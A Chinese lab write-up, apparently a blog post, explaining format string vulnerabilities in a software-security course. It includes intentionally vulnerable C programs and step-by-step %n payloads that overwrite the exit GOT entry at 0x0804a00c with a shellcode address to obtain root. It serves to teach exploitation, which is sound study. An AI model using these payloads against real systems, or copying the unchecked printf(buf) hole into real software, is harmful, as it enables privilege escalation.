软件安全实验——lab4后记(格式化字符串实验原理、漏洞利用过程逐步分析)

前面两次格式化字符串实验链接:
软件安全实验——lab3(格式化字符串printf)
软件安全实验——lab4(格式化字符串,修改内存地址运行shellcode获取root权限)
最新的格式化字符串漏洞实验:软件安全实验——lab4 Format String Vulnerability Lab(格式化字符串漏洞实验最新版——2020年1月12日更新)

  先用一个关于栈的例子,简单地解释一下在使用格式化字符串时栈的作用。
printf(“A is %d and is at %08x. B is %d and is at %08x.\n”, A, &A, B, &B);
当此printf()被调用时,参数被逆序压入栈中。首先是B的地址被压入,接着是B的值,再后是A的地址、A的值,最后是格式化字符串的地址。此时的堆栈如下所示:
在这里插入图片描述
  格式化函数每次遍历格式化字符串的一个字符。如果该字符不是格式化参数的首字符(由百分号指定),则复制输出该字符。如果遇到一个格式化参数,就采取相应的动作,并使用栈中与那个参数相对应的参量。但是,如果格式化字符串使用4个格式化参数,而只有三个参量被压入堆栈会怎样呢?
试着把关于栈的例子中的printf()修改如下:
printf(“A is %d and is at %O8x. B is %d and is at %08x.\n”, A, &A, B);
可以在编辑器中或者用另外一些更好的方法完成这一工作。
在这里插入图片描述

  结果是0000071。为什么会是0000071呢?这是因为没有值被压入堆栈,格式化函数只是从应该是第四个参量所在的位置中取出数据(通过增加当前帧指针)。这意味着0x00000071是格式化函数在堆栈帧的下面找到的第一个值。这是应该记住的一个非常有趣的细节。如果有办法控制传递的参量的个数或者格式化函数期望的值,则它一定更加有用。幸运的是,有一个相当常见的程序设计错误允许控制格式化函数期望的值。

(1)漏洞程序fmt_vuln.c

#include <stdlib.h>

int main(int argc, char *argv[])
{
	char text[1024];
	static int test_val = -72;

	if(argc < 2)
	{
		printf("Usage: %s <text to print>\n", argv[0]);
		exit(0);
	}

	strcpy(text, argv[1]);
	printf("The right way:\n");
	//The right way to print user-controlled input:
	printf("%s" , text);
	// ----
	printf("\nThe wrong way:\n");
	// The wIong way to print user-controlled input:
	printf(text);
	//
	printf("\n");
	// Debug output
	printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); 
	exit(0);
}

正确的输入格式:./fmtprintf “\x24\xa0\x04\x08”%10\$x%11\$n
“``”符号是在shell里面正式的名称叫做backquote , 一般叫做命令替换,其作用是将引用命令的输出替换到字符串或者变量。
在这里插入图片描述

./fmt $(printf "\x24\xa0\x04\x08")%1x%11\$n

在这里插入图片描述

(2)在新的漏洞程序got.c复现修改

/*
* 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
* 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
* 移来计算环境变量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) 
{
	char buf[1024];
	strncpy(buf, argv[1], sizeof(buf) - 1);
	printf(buf);
	puts("\ndone");

	int * test_val = -72;
	printf("\n[*] test_val  0x%08x = %d 0x%08x\n", test_val,*test_val,*test_val);

	exit(0);

}

开始test_val的地址是0804a020,在输入地址的时候printf "\x20\xa0\x04\x08",真正写入地址的值会变化:
在这里插入图片描述

如图所示:

./got `printf "\x24\xa0\x04\x08"`,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,

写入的值是0804a024

./got `printf "\x21\xa0\x04\x08"`,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,

写入的值是0804a021

./got `printf "\x20\xa0\x04\x08"`,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x

写入的值是2c0804a0
这是因为您需要注意一些特殊的数字,例如0x0A(换行)、0x0C(换行)、Qx0D(返回)和0x20(空格)。Scanf将它们视为分隔符,如果Scanf中只有一个""%sS",则会停止读取这些特殊字符之后的任何内容。

(3)尝试修改0804a00c地址的值并显示,获得root权限

/*

  • 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
  • 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
  • 移来计算环境变量地址。
  • gcc -z execstack -o got got.c
    */
    #include <stdio.h>
    #include <string.h>

int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("\ndone");

int * test_val = 0x0804a00c;
printf("\n[*] test_val  0x%08x = %d 0x%08x\n", test_val,*test_val,*test_val);

exit(0);

}
在这里插入图片描述
exit函数的地址是0x0804a00c
为了更好的观察到0804a00c地址上值的变化,我在原代码的基础上加了两句:

int * test_val = 0x0804a00c;
printf("\n[*] test_val 0x%08x = %d 0x%08x\n", test_val,*test_val,*test_val);

让程序可以实时输出0804a00c地址的值,方便我们确认修改:
在这里插入图片描述

环境变量Egg的shellcode的地址:
在这里插入图片描述

0xbf ff f2 7b
给连续的0804a00c~f地址用%n分4次写入四个值0xbf ff f2 7b
的攻击脚本:
第一次,7b-16=107:./got $(printf "\x0c\xa0\x04\x08\x0d\xa0\x04\x08\x0e\xa0\x04\x08\x0f\xa0\x04\x08")%107x%11\$n
在这里插入图片描述

第二次:F2-7b=119:./got $(printf "\x0c\xa0\x04\x08\x0d\xa0\x04\x08\x0e\xa0\x04\x08\x0f\xa0\x04\x08")%107x%11\$n%119x%12\$n
在这里插入图片描述

第三次,FF-F2=13:./got $(printf "\x0c\xa0\x04\x08\x0d\xa0\x04\x08\x0e\xa0\x04\x08\x0f\xa0\x04\x08")%107x%11\$n%119x%12\$n%13x%13\$n
在这里插入图片描述

第四次,因为BF比FF小,所以我们可以写入0x1BF,前面多的这个1不会影响这四个字节的地址,如果多的这个1在中间的位置也可以把它覆盖,1BF-FF=192:./got $(printf "\x0c\xa0\x04\x08\x0d\xa0\x04\x08\x0e\xa0\x04\x08\x0f\xa0\x04\x08")%107x%11\$n%119x%12\$n%13x%13\$n%192x%14\$n
在这里插入图片描述

成功将修改0804a00c地址的值修改为shellcode的地址0xbffff27b,从而执行shellcode获得root权限。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值